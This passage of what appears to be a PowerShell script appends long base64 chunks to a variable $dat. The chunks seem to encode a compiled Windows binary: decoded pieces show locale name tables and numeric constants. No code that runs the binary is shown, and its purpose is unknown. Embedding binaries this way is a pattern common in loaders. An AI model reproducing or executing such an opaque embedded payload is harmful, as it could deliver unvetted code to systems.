gAEAAAAvAAAAAAAAAHgmAYABAAAAdAAAAAAAAADIBwGAAQAAABgAAAAAAAAAiCYBgAEAAACvAAAAAAAAAJgmAYABAAAAWgAAAAAAAABwB';
$dat += 'wGAAQAAAA0AAAAAAAAAqCYBgAEAAABPAAAAAAAAAEgIAYABAAAAKAAAAAAAAAC4JgGAAQAAAGoAAAAAAAAAAAgBgAEAAAAfAAAAAAAAAMgmAYABAAAAYQAAAAAAAAB4BwGAAQAAAA4AAAAAAAAA2CYBgAEAAABQAAAAAAAAAIAHAYABAAAADwAAAAAAAADoJgGAAQAAAJUAAAAAAAAA+CYBgAEAAABRAAAAAAAAAIgHAYABAAAAEAAAAAAAAAAIJwGAAQAAAFIAAAAAAAAAcAgBgAEAAAAtAAAAAAAAABgnAYABAAAAcgAAAAAAAACQCAGAAQAAADEAAAAAAAAAKCcBgAEAAAB4AAAAAAAAANgIAYABAAAAOgAAAAAAAAA4JwGAAQAAAIIAAAAAAAAAkAcBgAEAAAARAAAAAAAAAAAJAYABAAAAPwAAAAAAAABIJwGAAQAAAIkAAAAAAAAAWCcBgAEAAABTAAAAAAAAAJgIAYABAAAAMgAAAAAAAABoJwGAAQAAAHkAAAAAAAAAMAgBgAEAAAAlAAAAAAAAAHgnAYABAAAAZwAAAAAAAAAoCAGAAQAAACQAAAAAAAAAiCcBgAEAAABmAAAAAAAAAJgnAYABAAAAjgAAAAAAAABgCAGAAQAAACsAAAAAAAAAqCcBgAEAAABtAAAAAAAAALgnAYABAAAAgwAAAAAAAADwCAGAAQAAAD0AAAAAAAAAyCcBgAEAAACGAAAAAAAAAOAIAYABAAAAOwAAAAAAAADYJwGAAQAAAIQAAAAAAAAAiAgBgAEAAAAwAAAAAAAAAOgnAYABAAAAnQAAAAAAAAD4JwGAAQAAAHcAAAAAAAAACCgBgAEAAAB1AAAAAAAAABgoAYABAAAAVQAAAAAAAACYBwGAAQAAABIAAAAAAAAAKCgBgAEAAACWAAAAAAAAADgoAYABAAAAVAAAAAAAAABIKAGAAQAAAJcAAAAAAAAAoAcBgAEAAAATAAAAAAAAAFgoAYABAAAAjQAAAAAAAAC4CAGAAQAAADYAAAAAAAAAaCgBgAEAAAB+AAAAAAAAAKgHAYABAAAAFAAAAAAAAAB4KAGAAQAAAFYAAAAAAAAAsAcBgAEAAAAVAAAAAAAAAIgoAYABAAAAVwAAAAAAAACYKAGAAQAAAJgAAAAAAAAAqCgBgAEAAACMAAAAAAAAALgoAYABAAAAnwAAAAAAAADIKAGAAQAAAKgAAAAAAAAAuAcBgAEAAAAWAAAAAAAAANgoAYABAAAAWAAAAAAAAADABwGAAQAAABcAAAAAAAAA6CgBgAEAAABZAAAAAAAAAOgIAYABAAAAPAAAAAAAAAD4K';
$dat += 'AGAAQAAAIUAAAAAAAAACCkBgAEAAACnAAAAAAAAABgpAYABAAAAdgAAAAAAAAAoKQGAAQAAAJwAAAAAAAAA0AcBgAEAAAAZAAAAAAAAADgpAYABAAAAWwAAAAAAAAAYCAGAAQAAACIAAAAAAAAASCkBgAEAAABkAAAAAAAAAFgpAYABAAAAvgAAAAAAAABoKQGAAQAAAMMAAAAAAAAAeCkBgAEAAACwAAAAAAAAAIgpAYABAAAAuAAAAAAAAACYKQGAAQAAAMsAAAAAAAAAqCkBgAEAAADHAAAAAAAAANgHAYABAAAAGgAAAAAAAAC4KQGAAQAAAFwAAAAAAAAAGBMBgAEAAADjAAAAAAAAAMgpAYABAAAAwgAAAAAAAADgKQGAAQAAAL0AAAAAAAAA+CkBgAEAAACmAAAAAAAAABAqAYABAAAAmQAAAAAAAADgBwGAAQAAABsAAAAAAAAAKCoBgAEAAACaAAAAAAAAADgqAYABAAAAXQAAAAAAAACgCAGAAQAAADMAAAAAAAAASCoBgAEAAAB6AAAAAAAAAAgJAYABAAAAQAAAAAAAAABYKgGAAQAAAIoAAAAAAAAAyAgBgAEAAAA4AAAAAAAAAGgqAYABAAAAgAAAAAAAAADQCAGAAQAAADkAAAAAAAAAeCoBgAEAAACBAAAAAAAAAOgHAYABAAAAHAAAAAAAAACIKgGAAQAAAF4AAAAAAAAAmCoBgAEAAABuAAAAAAAAAPAHAYABAAAAHQAAAAAAAACoKgGAAQAAAF8AAAAAAAAAsAgBgAEAAAA1AAAAAAAAALgqAYABAAAAfAAAAAAAAAAICAGAAQAAACAAAAAAAAAAyCoBgAEAAABiAAAAAAAAAPgHAYABAAAAHgAAAAAAAADYKgGAAQAAAGAAAAAAAAAAqAgBgAEAAAA0AAAAAAAAAOgqAYABAAAAngAAAAAAAAAAKwGAAQAAAHsAAAAAAAAAQAgBgAEAAAAnAAAAAAAAABgrAYABAAAAaQAAAAAAAAAoKwGAAQAAAG8AAAAAAAAAOCsBgAEAAAADAAAAAAAAAEgrAYABAAAA4gAAAAAAAABYKwGAAQAAAJAAAAAAAAAAaCsBgAEAAAChAAAAAAAAAHgrAYABAAAAsgAAAAAAAACIKwGAAQAAAKoAAAAAAAAAmCsBgAEAAABGAAAAAAAAAKgrAYABAAAAcAAAAAAAAABhAGYALQB6AGEAAAAAAAAAYQByAC0AYQBlAAAAAAAAAGEAcgAtAGIAaAAAAAAAAABhAHIALQBkAHoAAAAAAAAAYQByAC0AZQBnAAAAAAAAAGEAcgAtAGkAcQAAAAAAAABhAHIALQBqAG8AAAAAAAAAYQByAC0AawB3AAAAAAAAAGEAcgAtAGwAYgAAAAAAAABhAHIALQBsAHkAAAAAAAAAYQByAC0AbQBhAAAAAAAAAGEAcgAtAG8AbQAAAA';
$dat += 'AAAABhAHIALQBxAGEAAAAAAAAAYQByAC0AcwBhAAAAAAAAAGEAcgAtAHMAeQAAAAAAAABhAHIALQB0AG4AAAAAAAAAYQByAC0AeQBlAAAAAAAAAGEAegAtAGEAegAtAGMAeQByAGwAAAAAAGEAegAtAGEAegAtAGwAYQB0AG4AAAAAAGIAZQAtAGIAeQAAAAAAAABiAGcALQBiAGcAAAAAAAAAYgBuAC0AaQBuAAAAAAAAAGIAcwAtAGIAYQAtAGwAYQB0AG4AAAAAAGMAYQAtAGUAcwAAAAAAAABjAHMALQBjAHoAAAAAAAAAYwB5AC0AZwBiAAAAAAAAAGQAYQAtAGQAawAAAAAAAABkAGUALQBhAHQAAAAAAAAAZABlAC0AYwBoAAAAAAAAAGQAZQAtAGQAZQAAAAAAAABkAGUALQBsAGkAAAAAAAAAZABlAC0AbAB1AAAAAAAAAGQAaQB2AC0AbQB2AAAAAABlAGwALQBnAHIAAAAAAAAAZQBuAC0AYQB1AAAAAAAAAGUAbgAtAGIAegAAAAAAAABlAG4ALQBjAGEAAAAAAAAAZQBuAC0AYwBiAAAAAAAAAGUAbgAtAGcAYgAAAAAAAABlAG4ALQBpAGUAAAAAAAAAZQBuAC0AagBtAAAAAAAAAGUAbgAtAG4AegAAAAAAAABlAG4ALQBwAGgAAAAAAAAAZQBuAC0AdAB0AAAAAAAAAGUAbgAtAHUAcwAAAAAAAABlAG4ALQB6AGEAAAAAAAAAZQBuAC0AegB3AAAAAAAAAGUAcwAtAGEAcgAAAAAAAABlAHMALQBiAG8AAAAAAAAAZQBzAC0AYwBsAAAAAAAAAGUAcwAtAGMAbwAAAAAAAABlAHMALQBjAHIAAAAAAAAAZQBzAC0AZABvAAAAAAAAAGUAcwAtAGUAYwAAAAAAAABlAHMALQBlAHMAAAAAAAAAZQBzAC0AZwB0AAAAAAAAAGUAcwAtAGgAbgAAAAAAAABlAHMALQBtAHgAAAAAAAAAZQBzAC0AbgBpAAAAAAAAAGUAcwAtAHAAYQAAAAAAAABlAHMALQBwAGUAAAAAAAAAZQBzAC0AcAByAAAAAAAAAGUAcwAtAHAAeQAAAAAAAABlAHMALQBzAHYAAAAAAAAAZQBzAC0AdQB5AAAAAAAAAGUAcwAtAHYAZQAAAAAAAABlAHQALQBlAGUAAAAAAAAAZQB1AC0AZQBzAAAAAAAAAGYAYQAtAGkAcgAAAAAAAABmAGkALQBmAGkAAAAAAAAAZgBvAC0AZgBvAAAAAAAAAGYAcgAtAGIAZQAAAAAAAABmAHIALQBjAGEAAAAAAAAAZgByAC0AYwBoAAAAAAAAAGYAcgAtAGYAcgAAAAAAAABmAHIALQBsAHUAAAAAAAAAZgByAC0AbQBjAAAAAAAAAGcAbAAtAGUAcwAAAAAAAABnAHUALQBpAG4AAAAAAAAAaABlAC0AaQBsAAAAAAAAAGgAaQAtAGkAbgAAAAAAAABoAHIALQBiAGEAAAAAAAAAaAByAC0AaAByAAAAAAAAAGgAdQAtAGgAdQAAAAAAAABoAHkALQBhAG0AAAAAAAAAaQBkAC0AaQBkAAAAAAAAAGkAcwAtAGkAcwAAAAAAAABpAHQALQBjAGgAAAAAAAAAaQB0AC0AaQB0AAAAAAAAAGo';
$dat += 'AYQAtAGoAcAAAAAAAAABrAGEALQBnAGUAAAAAAAAAawBrAC0AawB6AAAAAAAAAGsAbgAtAGkAbgAAAAAAAABrAG8AawAtAGkAbgAAAAAAawBvAC0AawByAAAAAAAAAGsAeQAtAGsAZwAAAAAAAABsAHQALQBsAHQAAAAAAAAAbAB2AC0AbAB2AAAAAAAAAG0AaQAtAG4AegAAAAAAAABtAGsALQBtAGsAAAAAAAAAbQBsAC0AaQBuAAAAAAAAAG0AbgAtAG0AbgAAAAAAAABtAHIALQBpAG4AAAAAAAAAbQBzAC0AYgBuAAAAAAAAAG0AcwAtAG0AeQAAAAAAAABtAHQALQBtAHQAAAAAAAAAbgBiAC0AbgBvAAAAAAAAAG4AbAAtAGIAZQAAAAAAAABuAGwALQBuAGwAAAAAAAAAbgBuAC0AbgBvAAAAAAAAAG4AcwAtAHoAYQAAAAAAAABwAGEALQBpAG4AAAAAAAAAcABsAC0AcABsAAAAAAAAAHAAdAAtAGIAcgAAAAAAAABwAHQALQBwAHQAAAAAAAAAcQB1AHoALQBiAG8AAAAAAHEAdQB6AC0AZQBjAAAAAABxAHUAegAtAHAAZQAAAAAAcgBvAC0AcgBvAAAAAAAAAHIAdQAtAHIAdQAAAAAAAABzAGEALQBpAG4AAAAAAAAAcwBlAC0AZgBpAAAAAAAAAHMAZQAtAG4AbwAAAAAAAABzAGUALQBzAGUAAAAAAAAAcwBrAC0AcwBrAAAAAAAAAHMAbAAtAHMAaQAAAAAAAABzAG0AYQAtAG4AbwAAAAAAcwBtAGEALQBzAGUAAAAAAHMAbQBqAC0AbgBvAAAAAABzAG0AagAtAHMAZQAAAAAAcwBtAG4ALQBmAGkAAAAAAHMAbQBzAC0AZgBpAAAAAABzAHEALQBhAGwAAAAAAAAAcwByAC0AYgBhAC0AYwB5AHIAbAAAAAAAcwByAC0AYgBhAC0AbABhAHQAbgAAAAAAcwByAC0AcwBwAC0AYwB5AHIAbAAAAAAAcwByAC0AcwBwAC0AbABhAHQAbgAAAAAAcwB2AC0AZgBpAAAAAAAAAHMAdgAtAHMAZQAAAAAAAABzAHcALQBrAGUAAAAAAAAAcwB5AHIALQBzAHkAAAAA';
$dat += 'AHQAYQAtAGkAbgAAAAAAAAB0AGUALQBpAG4AAAAAAAAAdABoAC0AdABoAAAAAAAAAHQAbgAtAHoAYQAAAAAAAAB0AHIALQB0AHIAAAAAAAAAdAB0AC0AcgB1AAAAAAAAAHUAawAtAHUAYQAAAAAAAAB1AHIALQBwAGsAAAAAAAAAdQB6AC0AdQB6AC0AYwB5AHIAbAAAAAAAdQB6AC0AdQB6AC0AbABhAHQAbgAAAAAAdgBpAC0AdgBuAAAAAAAAAHgAaAAtAHoAYQAAAAAAAAB6AGgALQBjAGgAcwAAAAAAegBoAC0AYwBoAHQAAAAAAHoAaAAtAGMAbgAAAAAAAAB6AGgALQBoAGsAAAAAAAAAegBoAC0AbQBvAAAAAAAAAHoAaAAtAHMAZwAAAAAAAAB6AGgALQB0AHcAAAAAAAAAegB1AC0AegBhAAAAAAAAAAAAAAAAAAAAAAAAAAAA8P8AAAAAAAAAAAAAAAAAAPB/AAAAAAAAAAAAAAAAAAD4/wAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAP8DAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA////////DwAAAAAAAAAAAAAAAAAA8A8AAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAADuUmFXvL2z8AAAAAAAAAAAAAAAB4y9s/AAAAAAAAAAA1lXEoN6moPgAAAAAAAAAAAAAAUBNE0z8AAAAAAAAAACU+Yt4/7wM+AAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAA8D8AAAAAAAAAAAAAAAAAAOA/AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAYD8AAAAAAAAAAAAAAAAAAOA/AAAAAAAAAABVVVVVVVXVPwAAAAAAAAAAAAAAAAAA0D8AAAAAAAAAAJqZmZmZmck/AAAAAAAAAABVVVVVVVXFPwAAAAAAAAAAAAAAAAD4j8AAAAAAAAAAAP0HAAAAAAAAAAAAAAAAAAAAAAAAAACwPwAAAAAAAAAAAAAAAAAA7j8AAAAAAAAAAAAAAAAAAPE/AAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAA/////////38AAAAAAAAAAOZUVVVVVbU/AAAAAAAAAADUxrqZmZmJPwAAAAAAAAAAn1HxByNJYj8AAAAAAAAAAPD/Xcg0gDw/AAAAAAAAAAAAAAAA/////wAAAAAAAAAAAQAAAAIAAAADAAAAAAAAAEMATwBOAE8AVQBUACQAAAAAAAAAAAAAAAAAAJCevVs/AAAAcNSvaz8AAABglbl0PwAAAKB2lHs/AAAAoE00gT8AAABQCJuEPwAAAMBx/oc/AAAAgJBeiz8AAADwaruOPwAAAKCDCpE/AAAA4LW1kj8AAABQT1+UPwAAAABTB5Y/AAAA0MOtlz8AAADwpFKZPw';
$dat += 'AAACD59Zo/AAAAcMOXnD8AAACgBjiePwAAALDF1p8/AAAAoAG6oD8AAAAg4YehPwAAAMACVaI/AAAAwGchoz8AAACQEe2jPwAAAIABuKQ/AAAA4DiCpT8AAAAQuUumPwAAAECDFKc/AAAAwJjcpz8AAADQ+qOoPwAAAMCqaqk/AAAA0Kkwqj8AAAAg+fWqPwAAAACauqs/AAAAkI1+rD8AAAAQ1UGtPwAAAKBxBK4/AAAAcGTGrj8AAACwroevPwAAAMAoJLA/AAAA8CaEsD8AAACQ0uOwPwAAADAsQ7E/AAAAQDSisT8AAABg6wCyPwAAABBSX7I/AAAA4Gi9sj8AAABQMBuzPwAAAOCoeLM/AAAAMNPVsz8AAACgrzK0PwAAANA+j7Q/AAAAIIHrtD8AAAAwd0e1PwAAAGAho7U/AAAAQID+tT8AAABAlFm2PwAAAPBdtLY/AAAAsN0Otz8AAAAAFGm3PwAAAGABw7c/AAAAMKYcuD8AAAAAA3a4PwAAADAYz7g/AAAAQOYnuT8AAACQbYC5PwAAAKCu2Lk/AAAA0Kkwuj8AAACgX4i6PwAAAHDQ37o/AAAAsPw2uz8AAADQ5I27PwAAADCJ5Ls/AAAAQOo6vD8AAABwCJG8PwAAABDk5rw/AAAAoH08vT8AAACA1ZG9PwAAAADs5r0/AAAAoME7vj8AAACwVpC+PwAAAKCr5L4/AAAAwMA4vz8AAACAloy/PwAAADAt4L8/AAAAoMIZwD8AAABwT0PAPwAAAGC9bMA/AAAAgAyWwD8AAAAAPb/APwAAABBP6MA/AAAA8EIRwT8AAACgGDrBPwAAAIDQYsE/AAAAkGqLwT8AAAAQ57PBPwAAADBG3ME/AAAAEIgEwj8AAADgrCzCPwAAANC0VMI/AAAA8J98wj8AAACAbqTCPwAAALAgzMI/AAAAkLbzwj8AAABQMBvDPwAAACCOQsM/AAAAINBpwz8AAACA9pDDPwAAAGABuMM/AAAA4PDewz8AAAAwxQXEPwAAAHB+LMQ/AAAA0BxTxD8AAABwoHnEPwAAAHAJoMQ/AAAAAFjGxD8AAAAwjOzEPwAAAECmEsU/AAAAMKY4xT8AAABQjF7FPwAAAJBYhMU/AAAAQAuqxT8AAABwpM/FPwAAAEAk9cU/AAAA0Ioaxj8AAABQ2D/GPwAAANAMZcY/AAAAgCiKxj8AAACAK6/GPwAAAOAV1MY/AAAA0Of4xj8AAABwoR3HPwAAAOBCQsc/AAAAQMxmxz8AAACgPYvHPwAAADCXr8c/AAAAENnTxz8AAABQA/jHPwAAACAWHMg/AAAAkBFAyD8AAADA9WPIPwAAAODCh8g/AAAAAHmryD8AAAAwGM/IPwAAAKCg8sg/AAAAcBIWyT8AAACwbTnJPwAAAICyXMk/AAAAAOF/yT8AAABQ+aLJPwAAAHD7xck/AAAAsOfoyT8AAADwvQvKPwAAAIB+Lso/AAAAYClRyj8AAACgvnPKPwAAAHA+lso/AAAA8Ki4yj8AAAAg/trKPwAAADA+/co/AAAAMGkfyz8AAABAf0HLPwAAAHCAY8s/AAAA8GyFyz8AAACwRKfLPwAAAPAHycs/AAAAwLbqyz8AAAAwUQzMPwAAAFDXLcw/AAAAUElPzD8AAABAp3DMPwAAADDxkcw/AAAAQCezzD8AAACASdTMPwAAABBY9cw/AAAAAFMWzT8AAABgOjfNPwAAAGAOWM0/AAAAAM94zT8AAABwfJnNPwAAAKAWus0/AAAA0J3azT8AAADwEfvNPwAAADBzG84/AAAAoME7zj8AAABQ/VvOPwAAAGAmfM4/AAAA4Dyczj8AAADgQLzOPwAAAIAy3M4/AAAA0BH8zj8AAADg3hvPPwAAANCZO88/AAAAoEJbzz8AAACA2XrPPwAAAHBems8/AAAAkNG5zz8AAAD';
$dat += 'wMtnPPwAAAKCC+M8/AAAAUOAL0D8AAACgdhvQPwAAADAEK9A/AAAAEIk60D8AAABABUrQPwAAAOB4WdA/AAAA8ONo0D8AAABwRnjQPwAAAICgh9A/AAAAEPKW0D8AAAAwO6bQPwAAAPB7tdA/AAAAULTE0D8AAABg5NPQPwAAADAM49A/AAAAwCvy0D8AAAAQQwHRPwAAAEBSENE/AAAAQFkf0T8AAAAwWC7RPwAAAABPPdE/AAAA0D1M0T8AAACgJFvRPwAAAHADatE/AAAAUNp40T8AAABAqYfRPwAAAGBwltE/AAAAoC+l0T8AAAAQ57PRPwAAAMCWwtE/AAAAsD7R0T8AAADw3t/RPwAAAHB37tE/AAAAYAj90T8AAACgkQvSPwAAAFATGtI/AAAAcI0o0j8AAAAQADfSPwAAADBrRdI/AAAA0M5T0j8AAAAAK2LSPwAAANB/cNI/AAAAQM1+0j8AAABgE43SPwAAACBSm9I/AAAAoImp0j8AAADgubfSPwAAAODixdI/AAAAsATU0j8AAABQH+LSPwAAAMAy8NI/AAAAID/+0j8AAABwRAzTPwAAALBCGtM/AAAA4Dko0z8AAAAQKjbTPwAAAFATRNM/AAAAAAAAAAAAAAAAAAAAAI8gsiK8CrI91A0uM2kPsT1X0n7oDZXOPWltYjtE89M9Vz42pepa9D0Lv+E8aEPEPRGlxmDNifk9ny4fIG9i/T3Nvdq4i0/pPRUwQu/YiAA+rXkrphMECD7E0+7AF5cFPgJJ1K13Sq09DjA38D92Dj7D9gZH12LhPRS8TR/MAQY+v+X2UeDz6j3r8xoeC3oJPscCwHCJo8A9UcdXAAAuED4Obs3uAFsVPq+1A3Apht89baM2s7lXED5P6gZKyEsTPq28oZ7aQxY+Kur3tKdmHT7v/Pc44LL2PYjwcMZU6fM9s8o6CQlyBD6nXSfnj3AdPue5cXee3x8+YAYKp78nCD4UvE0fzAEWPlteahD2NwY+S2J88RNqEj46YoDOsj4JPt6UFenRMBQ+MaCPEBBrHT5B8roLnIcWPiu8pl4BCP89bGfGzT22KT4sq8S8LAIrPkRl3X3QF/k9njcDV2BAFT5gG3qUi9EMPn6pfCdlrRc+qV+fxU2IET6C0AZgxBEXPvgIMTwuCS8+OuEr48UUFz6aT3P9p7smPoOE4LWP9P09lQtNx5svIz4TDHlI6HP5PW5Yxgi8zB4+mEpS+ekVIT64MTFZQBcvPjU4ZCWLzxs+gO2LHahfHz7k2Sn5TUokPpQMItggmBI+CeMEk0gLKj7+ZaarVk0fPmNRNhmQDCE+NidZ/ngP+D3KHMgliFIQPmp0bX1TleA9YAYKp78nGD48k0XsqLAGPqnb9Rv4WhA+FdVVJvriFz6/5K6/7FkNPqM/aNovix0+Nzc6/d24JD4EEq5hfoITPp8P6Ul7jCw+HVmXFfDqKT42ezFupqoZPlUGcglWci4+VKx6/DMcJj5SomHPK2YpPjAnxBHIQxg+NstaC7tkID6kASeEDDQKPtZ5j7VVjho+mp1enCEt6T1q/X8N5mM/PhRjUdkOmy4+DDViGZAjKT6BXng4iG8yPq+mq0xqWzs+HHaO3Goi8D3tGjox10o8PheNc3zoZBU+GGaK8eyPMz5mdnf1npI9PrigjfA7SDk+Jliq7g7dOz66NwJZ3cQ5PsfK6+Dp8xo+rA0nglPONT66uSpTdE85PlSGiJUnNAc+8EvjCwBaDD6C0AZgxBEnPviM7bQlACU+oNLyzovRLj5UdQoMLighPsqnWTPzcA0+JUCoE35/Kz4eiSHDbjAzPlB1iwP4xz8+ZB3XjDWwPj50lIUiy';
$dat += 'HY6PuOG3lLGDj0+r1iG4MykLz6eCsDSooQ7PtFbwvKwpSA+mfZbImDWPT438JuFD7EIPuHLkLUjiD4+9pYe8xETNj6aD6Jchx8uPqW5OUlylSw+4lg+epUFOD40A5/qJvEvPglWjln1Uzk+SMRW+G/BNj70YfIPIsskPqJTPdUg4TU+VvKJYX9SOj4PnNT//FY4PtrXKIIuDDA+4N9ElNAT8T2mWeoOYxAlPhHXMg94LiY+z/gQGtk+7T2FzUt+SmUjPiGtgEl4WwU+ZG6x1C0vIT4M9TnZrcQ3PvyAcWKEFyg+YUnhx2JR6j1jUTYZkAwxPoh2oStNPDc+gT3p4KXoKj6vIRbwxrAqPmZb3XSLHjA+lFS77G8gLT4AzE9yi7TwPSniYQsfgz8+r7wHxJca+D2qt8scbCg+PpMKIkkLYyg+XCyiwRUL/z1GCRznRVQ1PoVtBvgw5js+OWzZ8N+ZJT6BsI+xhcw2PsioHgBtRzQ+H9MWnog/Nz6HKnkNEFczPvYBYa550Ts+4vbDVhCjDD77CJxicCg9Pj9n0oA4ujo+pn0pyzM2LD4C6u+ZOIQhPuYIIJ3JzDs+UNO9RAUAOD7hamAmwpErPt8rtibfeio+yW6CyE92GD7waA/lPU8fPuOVeXXKYPc9R1GA035m/D1v32oZ9jM3PmuDPvMQty8+ExBkum6IOT4ajK/QaFP7PXEpjRtpjDU++whtImWU/j2XAD8GflgzPhifEgLnGDY+VKx6/DMcNj5KYAiEpgc/PiFUlOS/NDw+CzBBDvCxOD5jG9aEQkM/PjZ0OV4JYzo+3hm5VoZCND6m2bIBkso2PhyTKjqCOCc+MJIXDogRPD7+Um2N3D0xPhfpIonV7jM+UN1rhJJZKT6LJy5fTdsNPsQ1BirxpfE9NDwsiPBCRj5eR/anm+4qPuRgSoN/SyY+LnlD4kINKT4BTxMIICdMPlvP1hYueEo+SGbaeVxQRD4hzU3q1KlMPrzVfGI9fSk+E6q8+VyxID7dds9jIFsxPkgnqvPmgyk+lOn/9GRMPz4PWuh8ur5GPrimTv1pnDs+q6Rfg6VqKz7R7Q95w8xDPuBPQMRMwCk+ndh1ektzQD4SFuDEBEQbPpRIzsJlxUA+zTXZQRTHMz5OO2tVkqRyPUPcQQMJ+iA+9NnjCXCPLj5FigSL9htLPlap+t9S7j4+vWXkAAlrRT5mdnf1npJNPmDiN4aibkg+8KIM8a9lRj507Eiv/REvPsfRpIYbvkw+ZXao/luwJT4dShoKws5BPp+bQApfzUE+cFAmy';
$dat += 'FY2RT5gIig12H43PtK5QDC8FyQ+8u95e++OQD7pV9w5b8dNPlf0DKeTBEw+DKalztaDSj66V8UNcNYwPgq96BJsyUQ+FSPjkxksPT5Cgl8TIcciPn102k0+mic+K6dBaZ/4/D0xCPECp0khPtt1gXxLrU4+Cudj/jBpTj4v7tm+BuFBPpIc8YIraC0+fKTbiPEHOj72csEtNPlAPiU+Yt4/7wM+AAAAAAAAAAAAAAAAAAAAQCDgH+Af4P8/8Af8AX/A/z8S+gGqHKH/PyD4gR/4gf8/tdugrBBj/z9xQkqeZUT/P7UKI0T2Jf8/CB988MEH/z8CjkX4x+n+P8DsAbMHzP4/6wG6eoCu/j9nt/CrMZH+P+RQl6UadP4/dOUByTpX/j9zGtx5kTr+Px4eHh4eHv4/HuABHuAB/j+Khvjj1uX9P8odoNwByv0/24G5dmCu/T+Kfx4j8pL9PzQsuFS2d/0/snJ1gKxc/T8d1EEd1EH9Pxpb/KMsJ/0/dMBuj7UM/T/Gv0RcbvL8PwubA4lW2Pw/58sBlm2+/D+R4V4Fs6T8P0KK+1omi/w/HMdxHMdx/D+GSQ3RlFj8P/D4wwGPP/w/HKAuObUm/D/gwIEDBw78P4uNhu6D9fs/9waUiSvd+z97Pohl/cT7P9C6wRT5rPs/I/8YKx6V+z+LM9o9bH37PwXuvuPiZfs/TxvotIFO+z/OBthKSDf7P9mAbEA2IPs/pCLZMUsJ+z8or6G8hvL6P16QlH/o2/o/G3DFGnDF+j/964cvHa/6P75jamDvmPo/WeEwUeaC+j9tGtCmAW36P0qKaAdBV/o/GqRBGqRB+j+gHMWHKiz6PwJLevnTFvo/GqABGqAB+j/ZMxCVjuz5Py1oaxef1/k/AqHkTtHC+T/aEFXqJK75P5qZmZmZmfk//8CODS+F+T9yuAz45HD5P6534wu7XPk/4OnW/LBI+T/mLJt/xjT5Pyni0En7IPk/1ZABEk8N+T/6GJyPwfn4Pz838XpS5vg/0xgwjQHT+D86/2KAzr/4P6rzaw+5rPg/nIkB9sCZ+D9KsKvw5Yb4P7mSwLwndPg/GIZhGIZh+D8UBnjCAE/4P92+snqXPPg/oKSCAUoq+D8YGBgYGBj4PwYYYIABBvg/QH8B/QX09z8dT1pRJeL3P/QFfUFf0Pc/fAEukrO+9z/D7OAIIq33P4s5tmuqm/c/yKR4gUyK9z8NxpoRCHn3P7';
$dat += 'GpNOTcZ/c/bXUBwspW9z9GF1100UX3P43+QcXwNPc/vN5Gfygk9z8JfJxteBP3P3CBC1zgAvc/F2DyFmDy9j/HN0Nr9+H2P2HIgSam0fY/F2zBFmzB9j89GqMKSbH2P5ByU9E8ofY/wNCIOkeR9j8XaIEWaIH2PxpnATafcfY/+SJRauxh9j+jSjuFT1L2P2QhC1nIQvY/3sCKuFYz9j9AYgF3+iP2P5SuMWizFPY/BhZYYIEF9j/8LSk0ZPb1P+cV0Lhb5/U/peLsw2fY9T9XEJMriMn1P5H6R8a8uvU/wFoBawWs9T+qzCPxYZ31P+1YgTDSjvU/YAVYAVaA9T86a1A87XH1P+JSfLqXY/U/VVVVVVVV9T/+grvmJUf1P+sP9EgJOfU/SwWoVv8q9T8V+OLqBx31P8XEEeEiD/U/FVABFVAB9T+bTN1ij/P0PzkFL6fg5fQ/TCzcvkPY9D9uryWHuMr0P+GPpt0+vfQ/W79SoNav9D9KAXatf6L0P2fQsuM5lfQ/gEgBIgWI9D97FK5H4Xr0P2ZgWTTObfQ/ms/1x8tg9D/Kdsfi2VP0P/vZYmX4RvQ/Te6rMCc69D+HH9UlZi30P1FZXia1IPQ/FBQUFBQU9D9mZQ7Rggf0P/sTsD8B+/M/B6+lQo/u8z8CqeS8LOLzP8Z1qpHZ1fM/56t7pJXJ8z9VKSPZYL3zPxQ7sRM7sfM/Ish6OCSl8z9jfxgsHJnzP44IZtMijfM/FDiBEziB8z/uRcnRW3XzP0gH3vONafM/+CqfX85d8z/BeCv7HFLzP0YT4Kx5RvM/srxXW+Q68z/6HWrtXC/zP78QK0rjI/M/tuvpWHcY8z+Q0TABGQ3zP2ACxCrIAfM/aC+hvYT28j9L0f6hTuvyP5eAS8Al4PI/oFAtAQrV8j+gLIFN+8nyPxE3Wo75vvI/QCsBrQS08j8FwfOSHKnyP54S5ClBnvI/pQS4W3KT8j8TsIgSsIjyP03OoTj6ffI/NSeBuFBz8j8nAdZ8s2jyP/GSgHAiXvI/sneRfp1T8j+SJEmSJEnyP1tgF5e3PvI/37yaeFY08j8qEqAiASryP3j7IYG3H/I/5lVIgHkV8j/ZwGcMRwvyPxIgARIgAfI/cB/BfQT38T9MuH889OzxP3S4Pzvv4vE/vUouZ/XY8T8dgaKtBs/xP1ngHPwixfE/Ke1GQEq78T/juvJnfLHxP5Z7GmG5p/E/nhHgGQGe8T+cooyAU5TxP9srkIOwivE/EhiBERiB8T+E1hsZinfxP3lzQokGbvE/ATL8UI1k8T8NJ3VfHlvxP8nV/aO5UfE/O80KDl9I8T8kRzSNDj/xPxHINRHINfE/rMDtiYss8T8zMF3nWCPxPyZIpxkwGvE/ERERERER8T+AEAG++wfxPxHw/hDw/vA/oiWz+u318D+QnOZr9ezwPxFgglUG5PA/lkaPqCDb8D86njVWRNLwPzvavE9xyfA/cUGLhqfA8D/InSXs5rfwP7XsLnIvr/A/pxBoCoGm8D9gg6+m253wP1QJATk/lfA/4mV1s6uM8D+EEEIIIYTwP+LquCmfe/A/xvdHCiZz8D/7EnmctWrwP/yp8dJNYvA/hnVyoO5Z8D8ENNf3l1HwP8VkFsxJSfA/EARBEARB8D/8R4K3xjjwPxpeH7WRMPA/6Sl3/GQo8D8IBAKBQCDwPzd6UTYkGPA/EBAQEB';
